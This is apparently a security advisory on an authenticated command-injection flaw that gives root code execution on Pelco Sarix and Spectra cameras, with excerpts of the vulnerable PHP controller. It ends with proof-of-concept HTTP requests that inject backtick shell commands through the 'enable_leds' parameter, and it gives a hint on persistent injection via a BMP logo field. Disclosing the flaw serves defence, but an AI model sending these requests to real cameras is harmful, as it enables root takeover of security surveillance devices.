Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution

2017-12-08T00:00:00
ID SSV:96947
Type seebug
Reporter Root
Modified 2017-12-08T00:00:00

Description

Summary

Pelco offers the broadest selection of IP cameras designed for security surveillance in a wide variety of commercial and industrial settings. From our industry-leading fixed and high-speed IP cameras to panoramic, thermal imaging, explosionproof and more, we offer a camera for any environment, any lighting condition and any application. When nothing but the best will do. Sarix™ Enhanced Range cameras provide the most robust feature-set for your mission-critical applications. With SureVision™ 3.0, Sarix Enhanced delivers the best possible image in difficult lighting conditions such as a combination of bright areas, shaded areas, and intense light. Designed with superior reliability, fault tolerance, and processing speed, these rugged fixed IP cameras ensure you always get the video that you need.

Description

The affected cameras suffer from authenticated remote code execution vulnerability. The POST parameter 'enable_leds' located in the update() function called via the GeneralSetupController.php script is not properly sanitised before being used in writeLedConfig() function to enable led state to on or off. A remote attacker can exploit this issue and execute arbitrary system commands granting her system access with root privileges using a specially crafted request and escape sequence to system shell.

Vendor

Schneider Electric SE - https://www.pelco.com

Affected Version

  • Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
  • Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
  • Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
  • Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
  • Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Tested On

  • Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
  • MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
  • Lighttpd/1.4.28
  • PHP/5.3.0

Detail

/var/www/core/setup/controllers/GeneralSetupController.php: ``` 43: public function update() { 44: $errOccurred = false; 45: $logoreboot = false; 46: 47: // If can update general settings 48: if ($this->_context->_user->hasPermission("{51510980-768b-4b26-a44a-2ae49f308184}")) { 49: 50: $errors = $this->validateInputs("setup", "general.invalid"); 51: 52: // 53: $new_logo_path; 54: if (empty($errors) && (strlen($_FILES["new_logo_path"]["name"]) > 0)) { 55: // The user has provided a file to load in as an image. Verify that the file is ok. 56: $errors = $this->storeBmpFileIfValid($new_logo_path, $width, $height); 57: } else { 58: // In this case, get the width and height from the omons settings 59: $width = intval($this->_conf->get("Video/Overlay", "LogoWidth")); 60: $height = intval($this->_conf->get("Video/Overlay", "LogoHeight")); 61: } 62: // 63: if (empty($errors)) { 64: $device_name = $_POST["device_name"]; 65: 66: $this->_conf->set("Device", "FriendlyName", $device_name); 67: 68: // update smtp server; append port 25 if it's not provided by the user 69: $smtpServer = $_POST["smtp_server"]; 70: 71: if ((! empty($smtpServer)) && preg_match(self::kHostPortRegex, $smtpServer) == 0) { 72: $smtpServer .= ":" . self::kDefaultSmtpPort; 73: } 74: 75: $this->_conf->set("Networking", "SmtpServer", $smtpServer); 76: 77: // 78: $success = $this->writeLedConfig($_POST["enable_leds"]); 79: // 80: } else { 81: $this->_context->setError("phobos", "validation.failure"); 82: $this->_context->setErrorList($errors); 83: 84: $errOccurred = true; 85: } 86: }

... ... ... ```

Bonus hint: When uploading a bmp logo, you can modify the width offset for example and inject persistent code: ``` -- -> 12h: 00 01 00 00 ; width (max 0x100, min 0x20) -- 191: if ($logoOverlay) { 192: if($logoreboot) { 193: $cmd = "/usr/bin/overlayLogo " . $logo_justification . " " . $logo_row . " " . $width . " " . $height . " 0"; 194: exec($cmd); 195: } 196: } else {
197: $cmd = "/usr/bin/overlayLogo 1 1 1 1 1"; 198: exec($cmd); 199: }

... ... ...

265: $vparams["enable_leds"] = $this->getLedConfig(); 266: // 267: $vparams["device_name"] = $this->_conf->get("Device", "FriendlyName"); 268: $vparams["TimeFormat"] = $this->_conf->get("Video/Overlay", "TimeFormat");
269: $vparams["date_formats"] = $this->getDateFormats(); 270: $vparams["selectedDateFormat"] = $this->_conf->get("Video/Overlay", "DateFormat"); 271: 272: ob_start(); 273: passthru("date +\"" . $vparams["TimeFormat"] . "\""); 274: $vparams["current_time"] = trim(ob_get_contents()); 275: ob_end_clean();

... ... ...

630: /* @param $state string "on" or "off" / 631: protected function writeLedConfig($state) { 632: $encoded = array('type' => 'uint32', 633: 'value' => ($state == 'on' ? 1 : 0)); 634: 635: $rest = $this->getRestProxy(); 636: $params = array(array('type' => 'uint32', 'value' => 10), $encoded); 637: $response = $rest->GetWithPayload('/internal/msgbus/com.pelco.hardware.led/SetState?', 638: 'application/json', 639: $params); 640: 641: return ($response->GetStatus() == 200); 642: }

```

PoC

PoC sleep 17s: ``` POST /setup/system/general/update HTTP/1.1 Host: 192.168.1.1 Content-Length: x Cache-Control: max-age=0 Origin: http://192.168.1.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Referer: http://192.168.1.1/setup/system/general Accept-Language: en-US,en;q=0.8,mk;q=0.6 Cookie: PHPSESSID=p2ooorb7gloavc0et2stj2tnn4; authos-token=07E14CAF; svcts=1495616826 Connection: close

device_name=ZSL&enable_leds=%60sleep%2017%60&smtp_server=&ntp_server_from_dhcp=false&ntp_server=time.nist.gov&region=Universe&zone=Earth&enable_time_overlay=on&enable_name_overlay=off&position=topright&date_format=0 ```

PoC echo: ``` POST /setup/system/general/update HTTP/1.1 Host: 192.168.1.1

enable_leds=%60echo%20251%20>test.html%60 ```

GET http://192.168.1.1/test.html HTTP/1.1 Response: 251